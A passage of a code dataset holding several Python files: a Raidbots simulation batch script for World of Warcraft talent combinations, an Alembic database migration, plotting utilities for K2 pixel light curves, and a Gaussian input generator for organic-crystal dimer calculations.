Chapter(object):\n    def __init__(self, phrases, title, word_count):\n        self.dialog = phrases\n        self.title = title\n        self.word_count = word_count\n\n    @staticmethod\n    def create_from_corpus_file(filename):\n        with open(filename, 'r') as docs:\n            gen = ChapterGenerator.generate_from_documents(docs)\n            title = gen.generate_title()\n            return Chapter(gen.phrases, title, gen.word_count)\n\n\nif __name__ == '__main__':\n    gen = ChapterGenerator.generate_from_documents(fileinput.input())\n\n    for p in gen.phrases:\n        print(\"{}{}: {}\".format(p.actor, p.direction, p.phrase))\n","sub_path":"chapter.py","file_name":"chapter.py","file_ext":"py","file_size_in_byte":8750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"351979789","text":"import requests\nimport time\nimport argparse\nimport json\nfrom itertools import combinations\n\npost_url = 'https://www.raidbots.com/sim'\nget_url = 'https://www.raidbots.com/api/job/'\nreport_url = 'https://www.raidbots.com/simbot/report/'\n\nparser = argparse.ArgumentParser()\nparser.add_argument('apikey', type=str, help='raidbots apikey')\nparser.add_argument('-t', '--targets', type=int, nargs='?', default=1, const=1, help='set desired sim targets')\nparser.add_argument('-d', '--dungeon', default=False, action='store_true')\nargs = parser.parse_args()\ntargets = str(max(1, args.targets))\n\nprofile = dungeon = \"\"\nwith open('sandbear_h.txt', 'r') as fp:\n    profile = fp.read()\nwith open('dungeon.txt', 'r') as fp:\n    dungeon = fp.read()\n\ntalents = [\n    ['BRA', 'BF ', 'FUR'],\n    ['SOTF', 'GG  ', 'INC '],\n    ['EW ', 'SURV', 'GOE'],\n    ['RT ', 'TC ', 'PUL']\n]\nlegendaries = {\n    'lycaras': 'waist=,id=172320,bonus_id=7110/6716/7194/6649/6650/1487,gems=16vers',\n    'circle': 'finger1=,id=178926,bonus_id=7085/6716/7193/6649/6650/1487,gems=16vers,enchant=tenet_of_versatility',\n    'UFR': 'legs=,id=172318,bonus_id=6716/1487/7094/6649/6650',\n    'luffa': 'chest=,id=172314,bonus_id=7092/6716/6649/6650/1487,enchant=eternal_stats',\n    'legacy': 'feet=,id=172315,bonus_id=7095/6716/6649/6650/1487,enchant=eternal_agility',\n    'DoDF': 'chest=,id=172314,bonus_id=7086/6716/6649/6650/1487,enchant=eternal_stats'\n}\nconduits = [\n    'savage_combatant:6',\n    'unchecked_aggression:6'\n]\ncov_conduit = {\n    'kyrian':'deep_allegiance:6',\n    'necrolord':'evolved_swarm:6',\n    'night_fae':'conflux_of_elements:6',\n    'venthyr':'endless_thirst:6'\n}\ncovenants = {\n    'kyrian':{\n        'pelagos':{\n            'slots':1,\n            'base':'combat_meditation',\n            'trait':[]\n        },\n        'kleia':{\n            'slots':1,\n            'base':'',\n            'trait':[]\n        }\n    },\n    'necrolord':{\n        'marileth':{\n            'slots':1,\n            'base':'',\n            'trait':['plagueys_preemptive_strike']\n        },\n        'emeni':{\n            'slots':1,\n            'base':'lead_by_example',\n            'trait':[]\n        }\n    },\n    'night_fae':{\n        'niya':{\n            'slots':1,\n            'base':'grove_invigoration',\n            'trait':[]\n        },\n        'dreamweaver':{\n            'slots':2,\n            'base':'field_of_blossoms',\n            'trait':['social_butterfly']\n        }\n    },\n    'venthyr':{\n        'nadjia':{\n            'slots':1,\n            'base':'thrill_seeker',\n            'trait':[]\n        },\n        'theotar':{\n            'slots':1,\n            'base':'soothing_shade',\n            'trait':[]\n        }\n    }\n}\n\nif args.dungeon:\n    target_str = dungeon\nelse:\n    target_str = 'desired_targets=' + targets\n\nbuffer = []\n\nfor leg, leg_str in legendaries.items():\n\n    for cov, soulbinds in covenants.items():\n        cov_str = 'covenant=' + cov\n\n        name_str = 'name=' + '-'.join([cov, leg])\n        sets_list = []\n\n        for soul, traits in soulbinds.items():\n            soulbind_master = []\n            if traits['base']:\n                soulbind_master.append(traits['base'])\n            conduits_master = conduits.copy()\n            conduits_master.append(cov_conduit[cov])\n            for t in traits['trait']:\n                conduits_master.append(t)\n\n            for combo in combinations(conduits_master, traits['slots']):\n                cond1, *cond2 = combo\n\n                soulbind_list = soulbind_master.copy()\n                soulbind_list.append(cond1)\n\n                if cond2:\n                    cond2 = cond2[0]\n                    soulbind_list.append(cond2)\n                else:\n                    cond2 = 'none'\n\n                soulbind_str = 'soulbind=' + '/'.join(soulbind_list)\n\n                for t15, talent15 in enumerate(talents[0], 1):\n                    for t40, talent40 in enumerate(talents[1], 1):\n                        for t45, talent45 in enumerate(talents[2], 1):\n                            for t50, talent50 in enumerate(talents[3], 1):\n                                talent = str(t15) + '013' + str(t40) + str(t45) + str(t50)\n                                talent_str = 'talents=' + talent\n\n                                profile_name = '\\\"' + '-'.join([soul, cond1, cond2, talent]) +'\\\"'\n                                sets_list.append('profileset.' + profile_name + '=' + talent_str)\n                                sets_list.append('profileset.' + profile_name + '+=' + soulbind_str)\n\n        sets_str = '\\n'.join(sets_list)\n\n        simc = '\\n'.join([profile, leg_str, cov_str, name_str, target_str, sets_str])\n\n        while True:\n            time.sleep(2)\n            try:\n                post = requests.post(post_url, json={'type': 'advanced', 'apiKey': args.apikey, 'simcVersion': 'nightly', 'advancedInput': simc})\n                reply = post.json()\n                simID = reply['simId']\n                sim_url = report_url + simID\n                print(sim_url)\n                break\n            except:\n                continue\n\n        while True:\n            time.sleep(5)\n            try:\n                get = requests.get(get_url + simID)\n                status = get.json()\n                if status['job']['state'] == 'complete':\n                    data = requests.get(sim_url + '/data.json')\n                    results = data.json()\n                    if results['simbot']['hasFullJson']:\n                        data = requests.get(sim_url + '/data.full.json')\n                        results = data.json()\n                    break\n                continue\n            except:\n                continue\n\n        cov_key, leg_key = results['sim']['players'][0]['name'].split('-')\n\n        for actor in results['sim']['profilesets']['results']:\n            soul_key, cond1_key, cond2_key, tal_key = actor['name'].split('-')\n            dps_key = actor['mean']\n\n            buffer.append({'cov':cov_key, 'leg':leg_key, 'soul':soul_key, 'cond1':cond1_key, 'cond2':cond2_key, 'tal':tal_key, 'dps':dps_key})\n\njson_name = 'combo_h_'\nif args.dungeon:\n    json_name += 'd'\nelse:\n    json_name += targets\n\nwith open(json_name + '.json', 'w') as fp:\n    fp.write(json.dumps(buffer).replace('},', '},\\n'))\n","sub_path":"static/sims/bear/generate_combo_h.py","file_name":"generate_combo_h.py","file_ext":"py","file_size_in_byte":6254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"135595225","text":"\"\"\"Group Direction Type\n\nRevision ID: 23097c06462d\nRevises: c6fc54f7c06\nCreate Date: 2013-05-03 12:05:58.333948\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '23097c06462d'\ndown_revision = 'c6fc54f7c06'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.sql import table, column\n\nfrom lost_tracker.models import DIR_A, DIR_B\n\n\ngroup = table(\n    'group',\n    column('direction', sa.Unicode))\n\n\ndef upgrade():\n    op.alter_column(\n        table_name='group',\n        column_name='direction',\n        type_=sa.Unicode())\n    op.execute(\n        group.update().where(\n            group.c.direction == 'true').values(\n                {'direction': op.inline_literal(DIR_A)}))\n    op.execute(\n        group.update().where(\n            group.c.direction == 'false').values(\n                {'direction': op.inline_literal(DIR_B)}))\n\n\ndef downgrade():\n    op.execute(\n        group.update().where(\n            group.c.direction == DIR_A).values(\n                {'direction': op.inline_literal(u'true')}))\n    op.execute(\n        group.update().where(\n            group.c.direction == DIR_B).values(\n                {'direction': op.inline_literal(u'false')}))\n    op.execute('ALTER TABLE \"group\" '\n               'ALTER direction TYPE boolean '\n               'USING (direction::boolean)')\n","sub_path":"alembic/versions/23097c06462d_group_direction_type.py","file_name":"23097c06462d_group_direction_type.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"570345258","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef plot_matrix_subplots(figure, time, matrix, same_y_axis=True, \n                        data_mask=None, **kwargs):\n    \"\"\"\n    Plot given 3D matrix in subpanels. Note that 3rd component of matrix.shape \n    must be the same as time.size i.e., matrix.shape[2]==time.size\n    \n    **kwargs are passed Axis.plot()\n    \n    example usage:\n    import matplotlib.pyplot as plt\n    fig = plt.gcf()\n    fig.set_size_inches(50,30)\n    plot_matrix(fig, time, matrix)\n    plt.savefig(\"file_name.png\")\n    plt.close()\n    \n    to construct input data use e.g.:\n    tpfdata.TpfData.directory = TPF_DIRECTORY_NAME\n    tpf = tpfdata.TpfData(epic_id=SOME_epic_id, campaign=SOME_campaign)\n    time = tpf.jd_short\n    matrix = tpf.get_fluxes_for_square(pix_y, pix_x, half_size=3) # 3 gives 7x7 sublots\n    \"\"\"\n    x_lim_expand = 0.06\n    y_lim_expand = 0.08\n\n    if data_mask is not None:\n        y_lim = [np.nanmin(matrix[:,:,data_mask]), np.nanmax(matrix[:,:,data_mask])]\n    else:    \n        y_lim = [np.nanmin(matrix), np.nanmax(matrix)]\n    d_y_lim = y_lim[1] - y_lim[0]  \n    y_lim[0] -= d_y_lim * y_lim_expand / 2.\n    y_lim[1] += d_y_lim * y_lim_expand / 2.\n\n    (i_max, j_max, _) = matrix.shape\n    panels = np.flipud(np.arange(i_max*j_max).reshape(i_max, j_max)) + 1\n    if data_mask is not None:\n        time = time[data_mask]\n    d_time = (max(time) - min(time)) * x_lim_expand / 2.\n    x_lim = [min(time)-d_time, max(time)+d_time]    \n\n    for i in range(i_max):\n        for j in range(j_max):\n            ax = plt.subplot(i_max, j_max, panels[i, j])\n            y_axis = matrix[i][j]\n            if data_mask is not None:\n                y_axis = y_axis[data_mask]\n                \n            ax.plot(time, y_axis, '.k', **kwargs)\n            \n            if i != 0:\n                ax.get_xaxis().set_visible(False)\n            if j != 0:\n                ax.get_yaxis().set_visible(False)\n            if same_y_axis:\n                ax.set_ylim(y_lim)\n            ax.set_xlim(x_lim)\n    figure.tight_layout()\n    plt.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=0, hspace=0)\n\ndef construct_matrix_from_list(pixel_list, time_series_list):\n    \"\"\"\n    take a list of pixels (pixel_list) and a list of corresponding \n    flux values (time_series_list) and make matrix that can be given to \n    plot_matrix_subplots\n    \"\"\"\n    (x_0, y_0) = np.min(pixel_list, axis=0)\n    (x_range, y_range) = np.max(pixel_list, axis=0) - np.array([x_0, y_0]) + 1\n\n    value_length = len(time_series_list[0])\n    for values in time_series_list:\n        if len(values) != value_length:\n            raise ValueError('construct_matrix_from_list() - all ' +\n                    'time series vectors have to be of the same ' +\n                    'length')\n\n    matrix = np.zeros((x_range, y_range, value_length))\n\n    for (i, (x, y)) in enumerate(pixel_list):\n        matrix[x-x_0, y-y_0, :] = time_series_list[i]\n\n    return matrix\n\n","sub_path":"source/K2CPM/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"618081565","text":"##pattern2 slipped-parallelを二つ考える R4: p R3: t   .xyz fileを出力\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport subprocess\r\nfrom utils import Rod, R2atom\r\n\r\nMONOMER_LIST = [\"BTBT\",\"naphthalene\",\"anthracene\",\"tetracene\",\"pentacene\",\"hexacene\",\"demo\"]\r\n############################汎用関数###########################\r\ndef get_monomer_xyzR(monomer_name,Ta,Tb,Tc,A1,A2,A3,phi=0.0,isFF=False):\r\n    T_vec = np.array([Ta,Tb,Tc])\r\n    df_mono=pd.read_csv('~/Working/interlayer_interaction3/{}/assets/monomer.csv'.format(monomer_name))\r\n    atoms_array_xyzR=df_mono[['X','Y','Z','R']].values\r\n    \r\n    ex = np.array([1.,0.,0.]); ey = np.array([0.,1.,0.]); ez = np.array([0.,0.,1.])\r\n\r\n    xyz_array = atoms_array_xyzR[:,:3]\r\n    xyz_array = np.matmul(xyz_array,Rod(ez,A3).T)\r\n    xyz_array = np.matmul(xyz_array,Rod(-ex,A2).T)\r\n    xyz_array = np.matmul(xyz_array,Rod(ey,A1).T)\r\n    xyz_array = xyz_array + T_vec\r\n    R_array = atoms_array_xyzR[:,3].reshape((-1,1))\r\n    \r\n    if monomer_name in MONOMER_LIST:\r\n        return np.concatenate([xyz_array,R_array],axis=1)\r\n    \r\n    elif monomer_name=='mono-C9-BTBT':\r\n        #alkylの基準\r\n        C0_index = 16 #BTBT骨格の端\r\n        C1_index = 23 #アルキルの根本\r\n        \r\n        C0=xyz_array[C0_index]\r\n        C1=xyz_array[C1_index]\r\n        \r\n        #phi1に関するalkylの軸\r\n        n1=C1-C0\r\n        n1/=np.linalg.norm(n1)\r\n        \r\n        #alkyl回転・分子1作成\r\n        xyz_array[C1_index:] = np.matmul((xyz_array[C1_index:]-C0),Rod(n1,phi).T) + C0\r\n        \r\n        if isFF:\r\n            FFconfig_array=df_mono[['q','sig','eps']].values\r\n            return np.concatenate([xyz_array,R_array,FFconfig_array],axis=1)\r\n        else:\r\n            return np.concatenate([xyz_array,R_array],axis=1)\r\n    \r\n    else:\r\n        raise RuntimeError('invalid monomer_name={}'.format(monomer_name))\r\n        \r\ndef get_xyzR_lines(xyzR_array,file_description):\r\n    lines = [     \r\n        '%mem=15GB\\n',\r\n        '%nproc=40\\n',\r\n        '#P TEST b3lyp/6-311G** EmpiricalDispersion=GD3 counterpoise=2\\n',\r\n        '\\n',\r\n        file_description+'\\n',\r\n        '\\n',\r\n        '0 1 0 1 0 1\\n'\r\n    ]\r\n    mol_len = len(xyzR_array)//2\r\n    atom_index = 0\r\n    mol_index = 0\r\n    for x,y,z,R in xyzR_array:\r\n        atom = R2atom(R)\r\n        mol_index = atom_index//mol_len + 1\r\n        line = '{}(Fragment={}) {} {} {}\\n'.format(atom,mol_index,x,y,z)     \r\n        lines.append(line)\r\n        atom_index += 1\r\n    return lines\r\n\r\n# 実行ファイル作成\r\ndef get_one_exe(file_name,machine_type=2):\r\n    file_basename = os.path.splitext(file_name)[0]\r\n    #mkdir\r\n    if machine_type==1:\r\n        gr_num = 1; mp_num = 40\r\n    elif machine_type==2:\r\n        gr_num = 2; mp_num = 52\r\n    cc_list=[\r\n        '#!/bin/sh \\n',\r\n         '#$ -S /bin/sh \\n',\r\n         '#$ -cwd \\n',\r\n         '#$ -V \\n',\r\n         '#$ -q gr{}.q \\n'.format(gr_num),\r\n         '#$ -pe OpenMP {} \\n'.format(mp_num),\r\n         '\\n',\r\n         'hostname \\n',\r\n         '\\n',\r\n         'export g16root=/home/g03 \\n',\r\n         'source $g16root/g16/bsd/g16.profile \\n',\r\n         '\\n',\r\n         'export GAUSS_SCRDIR=/home/scr/$JOB_ID \\n',\r\n         'mkdir /home/scr/$JOB_ID \\n',\r\n         '\\n',\r\n         'g16 < {}.inp > {}.log \\n'.format(file_basename,file_basename),\r\n         '\\n',\r\n         'rm -rf /home/scr/$JOB_ID \\n',\r\n         '\\n',\r\n         '\\n',\r\n         '#sleep 5 \\n'\r\n#          '#sleep 500 \\n'\r\n            ]\r\n\r\n    return cc_list\r\n\r\n######################################## 特化関数 ########################################\r\n\r\n##################gaussview##################\r\ndef make_gaussview_xyz(auto_dir,monomer_name,params_dict,isInterlayer=False):\r\n    a_ = params_dict['a']; b_ = params_dict['b']; c = np.array([params_dict['cx'],params_dict['cy'],params_dict['cz']])\r\n    A1 = params_dict['A1']; A2 = params_dict['A2']; A3 = params_dict['theta']\r\n    phi1 = params_dict.get('phi1',0.0); phi2 = params_dict.get('phi2',0.0)\r\n    print(phi1, phi2)\r\n    a =np.array([a_,0,0])\r\n    b =np.array([0,b_,0])\r\n    \r\n    monomer_array_i = get_monomer_xyzR(monomer_name,0,0,0,A1,A2,A3, phi1)\r\n    \r\n    monomer_array_p1 = get_monomer_xyzR(monomer_name,0,b_,0,A1,A2,A3, phi1)##1,2がb方向\r\n    monomer_array_p2 = get_monomer_xyzR(monomer_name,0,-b_,0,A1,A2,A3, phi1)\r\n    #monomer_array_ip1 = get_monomer_xyzR(monomer_name,c[0],c[1]+b_,c[2],A1,A2,A3)\r\n    #monomer_array_ip2 = get_monomer_xyzR(monomer_name,c[0],c[1]-b_,c[2],A1,A2,A3)\r\n\r\n    monomer_array_p3 = get_monomer_xyzR(monomer_name,a_,0,0,A1,A2,A3, phi1)##3,4がa方向\r\n    monomer_array_p4 = get_monomer_xyzR(monomer_name,-a_,0,0,A1,A2,A3, phi1)\r\n    #monomer_array_ip3 = get_monomer_xyzR(monomer_name,c[0]+a_,c[1],c[2],A1,A2,A3)\r\n    #monomer_array_ip4 = get_monomer_xyzR(monomer_name,c[0]-a_,c[1],c[2],A1,A2,A3)\r\n    \r\n    #monomer_array_i0 = get_monomer_xyzR(monomer_name,c[0],c[1],c[2],A1,A2,A3)\r\n    monomer_array_t1 = get_monomer_xyzR(monomer_name,a_/2,b_/2,0,-A1,A2,-A3, phi2)\r\n    monomer_array_t2 = get_monomer_xyzR(monomer_name,a_/2,-b_/2,0,-A1,A2,-A3, phi2)\r\n    monomer_array_t3 = get_monomer_xyzR(monomer_name,-a_/2,-b_/2,0,-A1,A2,-A3, phi2)\r\n    monomer_array_t4 = get_monomer_xyzR(monomer_name,-a_/2,b_/2,0,-A1,A2,-A3, phi2)\r\n    #monomer_array_it1 = get_monomer_xyzR(monomer_name,c[0]+a_/2,c[1]+b_/2,c[2],-A1,A2,-A3)\r\n    #monomer_array_it2 = get_monomer_xyzR(monomer_name,c[0]+a_/2,c[1]-b_/2,c[2],-A1,A2,-A3)\r\n    #monomer_array_it3 = get_monomer_xyzR(monomer_name,c[0]-a_/2,c[1]-b_/2,c[2],-A1,A2,-A3)\r\n    #monomer_array_it4 = get_monomer_xyzR(monomer_name,c[0]-a_/2,c[1]+b_/2,c[2],-A1,A2,-A3)\r\n\r\n    monomers_array = np.concatenate([monomer_array_i,monomer_array_p1,monomer_array_t1,monomer_array_p3,monomer_array_t2,monomer_array_p2,monomer_array_t3,monomer_array_p4,monomer_array_t4],axis=0)\r\n\r\n    file_description = 'A1={}_A2={}_A3={}'.format(round(A1),round(A2),round(A3))\r\n    lines = get_xyzR_lines(monomers_array,file_description)\r\n    lines.append('Tv {} {} {}\\n'.format(a[0],a[1],a[2]))\r\n    lines.append('Tv {} {} {}\\n'.format(b[0],b[1],b[2]))\r\n    lines.append('Tv {} {} {}\\n\\n\\n'.format(c[0],c[1],c[2]))\r\n    \r\n    os.makedirs(os.path.join(auto_dir,'gaussview'),exist_ok=True)\r\n    output_path = os.path.join(\r\n        auto_dir,\r\n        'gaussview/{}_A1={}_A2={}_A3={}_a={}_b={}.gjf'.format(monomer_name,round(A1),round(A2),round(A3),np.round(a_,2),np.round(b_,2))\r\n    )\r\n            \r\n    with open(output_path,'w') as f:\r\n        f.writelines(lines)\r\n\r\n    lines_xyz_4=['96 \\n','BTBT4 \\n']##4分子のxyzファイルを作成\r\n    monomers_array_4 = np.concatenate([monomer_array_i,monomer_array_p1,monomer_array_t1,monomer_array_p3],axis=0)\r\n    \r\n    for x,y,z,R in monomers_array_4:\r\n        atom = R2atom(R)\r\n        line = '{} {} {} {}\\n'.format(atom,x,y,z)     \r\n        lines_xyz_4.append(line)\r\n\r\n    output_xyz_4_path = os.path.join(\r\n        auto_dir,\r\n        'gaussview/{}_A1={}_A2={}_A3={}_a={}_b={}_4.xyz'.format(monomer_name,round(A1),round(A2),round(A3),np.round(a_,2),np.round(b_,2))\r\n    )\r\n    \r\n    with open(output_xyz_4_path,'w') as f:\r\n        f.writelines(lines_xyz_4)\r\n\r\ndef make_xyzfile1(monomer_name,params_dict):##パターン1 parallel:+A3 t-shaped:-A3\r\n    a_ = params_dict['a']; b_ = params_dict['b']; c = np.array([params_dict['cx'],params_dict['cy'],params_dict['cz']])\r\n    A3 = params_dict['theta']\r\n    R3 = params_dict['R3']; R4 = params_dict['R4']\r\n    phi1 = params_dict.get('phi1',0.0); phi2 = params_dict.get('phi2',0.0)\r\n    print(phi1, phi2)\r\n    monomer_array_c1 = get_monomer_xyzR(monomer_name,0,0,0,0,0,A3, phi1)##centerのc\r\n    monomer_array_i01 = get_monomer_xyzR(monomer_name,c[0],c[1],c[2],0,0,A3, phi1)\r\n    if a_ > b_:\r\n        monomer_array_ip1 = get_monomer_xyzR(monomer_name,c[0],c[1]+b_,c[2]+R4,0,0,A3, phi1)\r\n        monomer_array_ip2 = get_monomer_xyzR(monomer_name,c[0],c[1]-b_,c[2]-R4,0,0,A3, phi1)\r\n    else:##a_<b_\r\n        monomer_array_ip1 = get_monomer_xyzR(monomer_name,c[0]+a_,c[1],c[2]+2*R3-R4,0,0,A3, phi1)\r\n        monomer_array_ip2 = get_monomer_xyzR(monomer_name,c[0]-a_,c[1],c[2]-(2*R3-R4),0,0,A3, phi1)\r\n    \r\n    monomer_array_it1 = get_monomer_xyzR(monomer_name,c[0]+a_/2,c[1]+b_/2,c[2]+R3,0,0,-A3, phi2)\r\n    monomer_array_it2 = get_monomer_xyzR(monomer_name,c[0]+a_/2,c[1]-b_/2,c[2]+R3-R4,0,0,-A3, phi2)\r\n    monomer_array_it3 = get_monomer_xyzR(monomer_name,c[0]-a_/2,c[1]-b_/2,c[2]-R3,0,0,-A3, phi2)\r\n    monomer_array_it4 = get_monomer_xyzR(monomer_name,c[0]-a_/2,c[1]+b_/2,c[2]-R3+R4,0,0,-A3, phi2)\r\n    \r\n    xyz_list1=['240 \\n','tetracene8 \\n']##4分子のxyzファイルを作成\r\n    monomers_array_8 = np.concatenate([monomer_array_c1,monomer_array_i01,monomer_array_ip1,monomer_array_ip2,monomer_array_it1,monomer_array_it2,monomer_array_it3,monomer_array_it4],axis=0)\r\n    \r\n    for x,y,z,R in monomers_array_8:\r\n        atom = R2atom(R)\r\n        line = '{} {} {} {}\\n'.format(atom,x,y,z)     \r\n        xyz_list1.append(line)\r\n    \r\n    return xyz_list1\r\n\r\ndef make_xyzfile2(monomer_name,params_dict):##パターン２ parallel:-A3 t-shaped:+A3\r\n    a_ = params_dict['a']; b_ = params_dict['b']; c = np.array([params_dict['cx'],params_dict['cy'],params_dict['cz']])\r\n    A3 = params_dict['theta']\r\n    R3 = params_dict['R3']; R4 = params_dict['R4']\r\n    phi1 = params_dict.get('phi1',0.0); phi2 = params_dict.get('phi2',0.0)\r\n    print(phi1, phi2)\r\n    \r\n    monomer_array_c2 = get_monomer_xyzR(monomer_name,0,0,0,0,0,-A3, phi1)##centerのc 角度-A3\r\n    monomer_array_i02 = get_monomer_xyzR(monomer_name,c[0],c[1],c[2],0,0,-A3, phi1)\r\n    if a_ > b_:\r\n        monomer_array_ip3 = get_monomer_xyzR(monomer_name,c[0],c[1]+b_,c[2]+R4,0,0,-A3, phi1)\r\n        monomer_array_ip4 = get_monomer_xyzR(monomer_name,c[0],c[1]-b_,c[2]-R4,0,0,-A3, phi1)\r\n    else:\r\n        monomer_array_ip3 = get_monomer_xyzR(monomer_name,c[0]+a_,c[1],c[2]+2*R3-R4,0,0,-A3, phi1)\r\n        monomer_array_ip4 = get_monomer_xyzR(monomer_name,c[0]-a_,c[1],c[2]-(2*R3-R4),0,0,-A3, phi1)\r\n\r\n    monomer_array_it1 = get_monomer_xyzR(monomer_name,c[0]+a_/2,c[1]+b_/2,c[2]+R3,0,0,A3, phi2)\r\n    monomer_array_it2 = get_monomer_xyzR(monomer_name,c[0]+a_/2,c[1]-b_/2,c[2]+R3-R4,0,0,A3, phi2)\r\n    monomer_array_it3 = get_monomer_xyzR(monomer_name,c[0]-a_/2,c[1]-b_/2,c[2]-R3,0,0,A3, phi2)\r\n    monomer_array_it4 = get_monomer_xyzR(monomer_name,c[0]-a_/2,c[1]+b_/2,c[2]-R3+R4,0,0,A3, phi2)\r\n    \r\n    xyz_list2=['240 \\n','tetracene8 \\n']##4分子のxyzファイルを作成\r\n    monomers_array_8 = np.concatenate([monomer_array_c2,monomer_array_i02,monomer_array_ip3,monomer_array_ip4,monomer_array_it1,monomer_array_it2,monomer_array_it3,monomer_array_it4],axis=0)\r\n    \r\n    for x,y,z,R in monomers_array_8:\r\n        atom = R2atom(R)\r\n        line = '{} {} {} {}\\n'.format(atom,x,y,z)     \r\n        xyz_list2.append(line)\r\n    \r\n    return xyz_list2\r\n\r\ndef make_xyz(monomer_name,params_dict):\r\n    xyzfile_name = ''\r\n    xyzfile_name += monomer_name\r\n    for key,val in params_dict.items():\r\n        if key in ['a','b','cx','cy','cz','theta','R3','R4']:\r\n            val = np.round(val,2)\r\n        elif key in ['A1','A2']:#,'theta']:\r\n            val = int(val)\r\n        xyzfile_name += '_{}={}'.format(key,val)\r\n    return xyzfile_name \r\n\r\ndef make_gjf_xyz(auto_dir,monomer_name,params_dict,isInterlayer):##R3:t-shaped R4:slipped-parallel\r\n    a_ = params_dict['a']; b_ = params_dict['b']; c = np.array([params_dict['cx'],params_dict['cy'],params_dict['cz']])\r\n    R3 = params_dict['R3']; R4 = params_dict['R4']; A3 = params_dict['theta']\r\n    phi1 = params_dict.get('phi1',0.0); phi2 = params_dict.get('phi2',0.0)\r\n    print(phi1, phi2)\r\n    \r\n    monomer_array_c1 = get_monomer_xyzR(monomer_name,0,0,0,0,0,A3, phi1)##centerのc\r\n    \r\n    if a_ > b_:\r\n        monomer_array_p1 = get_monomer_xyzR(monomer_name,0,b_,R4,0,0,A3, phi1)##p1がb方向\r\n        monomer_array_ip1 = get_monomer_xyzR(monomer_name,c[0],c[1]+b_,c[2]+R4,0,0,A3, phi1)\r\n        monomer_array_ip2 = get_monomer_xyzR(monomer_name,c[0],c[1]-b_,c[2]-R4,0,0,A3, phi1)\r\n    else:##a_<b_\r\n        monomer_array_p1 = get_monomer_xyzR(monomer_name,a_,0,2*R3-R4,0,0,A3, phi1)##p2がa方向\r\n        monomer_array_ip1 = get_monomer_xyzR(monomer_name,c[0]+a_,c[1],c[2]+2*R3-R4,0,0,A3, phi1)\r\n        monomer_array_ip2 = get_monomer_xyzR(monomer_name,c[0]-a_,c[1],c[2]-(2*R3-R4),0,0,A3, phi1)\r\n    \r\n    monomer_array_c2 = get_monomer_xyzR(monomer_name,0,0,0,0,0,-A3, phi1)##centerのc 角度-A3\r\n    monomer_array_i02 = get_monomer_xyzR(monomer_name,c[0],c[1],c[2],0,0,-A3, phi1)\r\n    if a_ > b_:\r\n        monomer_array_ip3 = get_monomer_xyzR(monomer_name,c[0],c[1]+b_,c[2]+R4,0,0,-A3, phi1)\r\n        monomer_array_ip4 = get_monomer_xyzR(monomer_name,c[0],c[1]-b_,c[2]-R4,0,0,-A3, phi1)\r\n    else:\r\n        monomer_array_ip3 = get_monomer_xyzR(monomer_name,c[0]+a_,c[1],c[2]+2*R3-R4,0,0,-A3, phi1)\r\n        monomer_array_ip4 = get_monomer_xyzR(monomer_name,c[0]-a_,c[1],c[2]-(2*R3-R4),0,0,-A3, phi1)\r\n\r\n    monomer_array_i01 = get_monomer_xyzR(monomer_name,c[0],c[1],c[2],0,0,A3, phi1)\r\n    monomer_array_t1 = get_monomer_xyzR(monomer_name,a_/2,b_/2,R3,0,0,-A3, phi2)\r\n    monomer_array_t2 = get_monomer_xyzR(monomer_name,a_/2,-b_/2,R3-R4,0,0,-A3, phi2)\r\n    monomer_array_t3 = get_monomer_xyzR(monomer_name,-a_/2,-b_/2,-R3,0,0,-A3, phi2)\r\n    monomer_array_t4 = get_monomer_xyzR(monomer_name,-a_/2,b_/2,-R3+R4,0,0,-A3, phi2)\r\n    monomer_array_it1 = get_monomer_xyzR(monomer_name,c[0]+a_/2,c[1]+b_/2,c[2]+R3,0,0,-A3, phi2)\r\n    monomer_array_it2 = get_monomer_xyzR(monomer_name,c[0]+a_/2,c[1]-b_/2,c[2]+R3-R4,0,0,-A3, phi2)\r\n    monomer_array_it3 = get_monomer_xyzR(monomer_name,c[0]-a_/2,c[1]-b_/2,c[2]-R3,0,0,-A3, phi2)\r\n    monomer_array_it4 = get_monomer_xyzR(monomer_name,c[0]-a_/2,c[1]+b_/2,c[2]-R3+R4,0,0,-A3, phi2)\r\n    \r\n    \r\n    dimer_array_t1 = np.concatenate([monomer_array_c1,monomer_array_t1])\r\n    dimer_array_t2 = np.concatenate([monomer_array_c1,monomer_array_t2])\r\n    dimer_array_t3 = np.concatenate([monomer_array_c1,monomer_array_t3])\r\n    dimer_array_t4 = np.concatenate([monomer_array_c1,monomer_array_t4])\r\n    dimer_array_p1 = np.concatenate([monomer_array_c1,monomer_array_p1])\r\n    dimer_array_i01 = np.concatenate([monomer_array_c1,monomer_array_i01])\r\n    dimer_array_it1 = np.concatenate([monomer_array_c1,monomer_array_it1])\r\n    dimer_array_it2 = np.concatenate([monomer_array_c1,monomer_array_it2])\r\n    dimer_array_it3 = np.concatenate([monomer_array_c1,monomer_array_it3])\r\n    dimer_array_it4 = np.concatenate([monomer_array_c1,monomer_array_it4])\r\n    dimer_array_ip1 = np.concatenate([monomer_array_c1,monomer_array_ip1])\r\n    dimer_array_ip2 = np.concatenate([monomer_array_c1,monomer_array_ip2])\r\n    \r\n    dimer_array_ip3 = np.concatenate([monomer_array_c2,monomer_array_ip3])##注意\r\n    dimer_array_ip4 = np.concatenate([monomer_array_c2,monomer_array_ip4])##注意\r\n    \r\n    dimer_array_i02 = np.concatenate([monomer_array_c2,monomer_array_i02])##注意\r\n    \r\n    file_description = '{}_A3={}_R3={}_R4={}'.format(monomer_name,round(A3,2),round(R3,2),round(R4,2))\r\n    line_list_dimer_p1 = get_xyzR_lines(dimer_array_p1,file_description+'_p1')\r\n    line_list_dimer_t1 = get_xyzR_lines(dimer_array_t1,file_description+'_t1')\r\n    line_list_dimer_t2 = get_xyzR_lines(dimer_array_t2,file_description+'_t2')\r\n    line_list_dimer_t3 = 